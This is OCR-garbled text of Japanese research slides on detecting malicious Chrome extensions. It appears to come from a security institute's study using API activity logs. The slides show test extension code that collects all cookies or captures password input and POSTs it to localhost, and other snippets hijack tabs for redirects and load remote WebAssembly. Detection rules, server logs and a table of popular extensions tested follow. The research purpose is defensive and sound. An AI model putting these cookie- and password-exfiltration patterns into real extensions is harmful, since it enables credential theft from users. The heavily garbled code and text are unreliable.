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getCookiesAndPost() {

chrome.cookies . getAll{{}, (cookies
tetch("http://localhost™, {
method: "POST",
headers: _
body: JSON.stringify({cookies}

1}

i Inig

2026/01/11 15:57:04,kehibajkapjeklfhdimcbpidipcmpnjg,
APl activity event,'AP| is cookies.getAll’

{7 CookieEnfg (cookies.getAll)

AND
2026/01/11 15:57:04,kehibajkapjeklfhdimcbpidipcmpnjg, _ N
network request,'POST http://localhost/ {1 http://localhost/ ~DPOSTi&(E
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getPasswordAndPost() {
input = document.querySelector(’input[type="password”]"
input.addEventListener( input’, e
fetch("http://localhost", {
method: "POST",

headers: "Content-Type": "application/json”
body: JSON.stringify(e.target.v

1)

iEnO

2026/01/12 09:26:25,fInfbgclgoieflpojilambocgjppibkb,
password value read,'target url is http://localhostl/i
nput_field.html*

(B%)

2026/01/12 09:26:26,fInfbgclgoieflpojilambocgjppibkb,
network request,'POST http://localhost/’
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AND
http://localhost/ ~®DPOST&E
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ener((tabId, changeInfo

EiEA 7

2026/01/11 18:15:22,aeopbngofkmgcfmpckelahlnakhg
gjef,APl activity event,'AP| is tabs.onUpdated'

2026/01/11 18:15:22,acopbngofkmgcfmpckelahlnakhg

(B%)
2026/01/11 18:15:22,aeopbngofkmgcfmpckelahlnakhg
gjgf, APl activity event,'API is tabs.update'

2026/01/11 18:15:22,acopbngofkmgcfmpckelahlnakhg
gjgf,network request,'GET http://localhostl/

gjgf,network request,'POST http://localhost/redirect’

{2 7TEHER (tabs.onUpdated)

AND
{3 http://localhost/redirect~DPOSTE(E

AND
{1 & 7EH (tabs.update)
AND
= http://localhostl~ D GET&E(E
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*B?&‘?P’“ (tabs create, tabs.remove#lF)

2026/01/11 18:30:09,jckhgfcifhngaeapndhjipdmijklibo
gm,API activity event,'API is tabs.onUpdated'
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gm,network request,'POST http://localhost/redirect’

(B%)
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gm,API activity event,'AP| is tabs.create’
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gm,API activity event,'APIl is tabs.remove'

ES4R (tabs.onUpdated)

R TER

AND
http://localhost/redirect ~®POST®(E

AND
<:| 2 71Epk (tabs.create)
<:| AND HLERID &
http://localhostl~DGET&EE oA T
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2 78Ik (tabs.remove)
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getWasm() {
iasmURL = "http://localhost/remote.wasm”;
{ instance } = await WebAssembly.instantiateStreaming(fetch({wasmURL),
env: {js_test: () console.log("test™)}

instance.exports.run();

1
J

mEns
2026/01/11 18:51:59,Imdccmpahpmpcpkphncabgbkhk o
pjcnfe,network request,'GET http://localhost/remote. {3 http://localhost/remote.wasm~ DGET#&(E

wasm'

2026/01/11 18:51:59,Imdccmpahpmpcpkphncabgbkhk o _ .
picnfe,network response, http://localhost/remote.wa |<— application/wasma> 7> DEfE

sm 200 (application/wasm)'
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H g [11] A=
[9]Chrome = 7% b 7:EdithisCookie (V3) (+> 54 >) , AF2 (https://chromewebstore.google.com/search/ojfebgpkimhlhcblbalbfiblapadhbol)  (£88 2026-02-21) . 19
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| activity event,’
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twork request,’

(%)

2026/01/14 19:43:48, IaankeJkbhbdhmlpfmgcngdelahIfOJ| AP
| activity event,’

2026/01/14 19:43:48 IaankeJkbhbdhmlpfmgcngdelahlfo i,ne
twork request,’
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{1 2 7EHELR (tabs.onUpdated)

AND

{1 HTTPS @
= Google7F+ VT4 7R

X BEE1TEIDEFEN
AND
- 2 783 (tabs.update)
AND
- HTTPS @1

= [fFEZLTVLWEIRETIEH
DEEAD? ] HEmE

77— bERICHAWS 07 OFIASEEIC & > T
[ 772 VEETESEREYZAL T | OFRREAD RS

20




AHii2-2 A2 —F v P THREIATL

=10
%%Eﬁ%ﬁf#l grgjcﬁérs;-ajﬁ
| INSTITUTE of INFORMATION SECURITY

77UMHRIFA Y OREERZR EEES5ENTHRAINS /-0,

[Chromelisk $3 98| BRECE

g [11112] A 4, & (Z,

EOREBBFET B HHER

[12]Dell : Chromefi3RMEEED BT T H198E | AEMM LA KB TE2H/ELRBN (F74>) , AFHE (https://Ipjp.dell.com/micr
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4 HiIE £ Cookie\H)lL%I= INR '7—‘FHZ?'€EJI= 2 7HEBTHER | WASM \\
& NaBix(E & NaBix(E V&AL | Zgyra—F
1 | Google #iR X X X X
2 | Google Scholar K& >~ X X X X
3 | Picture-in-Picture Extension (by Google) X X X X
4 | Deepl : AIFIER & XEKRIEY — L O X X X
5 | Pasty X X X X
6 |OneTab X X X X
7 | GoFullPage - Full Page Screen Capture X X X X
8 |Adblock Plus - free ad blocker X X X X
9 | Note Sidebar X X X X
10 |Vertical Tabs - BEE X 7 X X X X
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2026/01/12 05:18:59 CofdbpoegempJIoogbagkncekmflan netw
ork request,’

f512) cookies.getAll#% D POST@IE A/COO kies.getAllT(Z, J
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ctivity event,’
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"id™: 1,
"priority™: 1,
“action™:

"type”: "modifyHeaders”,

"reguestHeaders™: [

"header”: "origin”,

"operation”: "r

]__

“"condition™:

arrp——
EMOve

"urlFilter™: "http://localhost/*"

SEMry P IJIT X MIL—IL

BEVITRXME

e

FHREF1) T4 KZFRKRE
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localhostdApache77tzZxR 4

1 --1[12/Jan/2026:01:22:11 +0900] "POST / HTTP/1.1" 200 420 "-" "Mozilla
/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Geck
0) Chrome/138.0.0.0 Safari/537.36" "chrome-extension://kehibajkapjekifhd

imcbpidipcmpnjg"
ngns

2026/01/11 16:22:11,kehibajkapjeklfthdimchpidipcmpnjg,network request,'P

OST http://localhost/"

F Y 2 HIBRE

localhost®Apache77tZxR 4

::1--[12/Jan/2026:19:01:28 +0900] "POST / HTTP/1.1" 200 420 "-" "Mozilla

/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Geck
0) Chrome/138.0.0.0 Safari/537.36"[-"]

nEns

2026/01/12 10:01:28|,fmInefhacjjhnddolhkkjdeekegddgaa, network request,’

POST http://localhost/
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2026/01/12 09:30:33,hppbehbanceohplnajofamdp

oglfaafi,password value read,'target url is http://I
ocalhostl/input_field.html'

(8%)

2026/01/12 09:30:33,hppbehbanceohplnajofamdp
oglfaafi,network request,'POST http://localhost/

3c8bc () ;while( ! I[]){try{

JavaScript obfuscatorz FJF L
|2 —HDOAN/NRXT— KONEBIEE]| 30— FEETR1{L

) BERJICEELL
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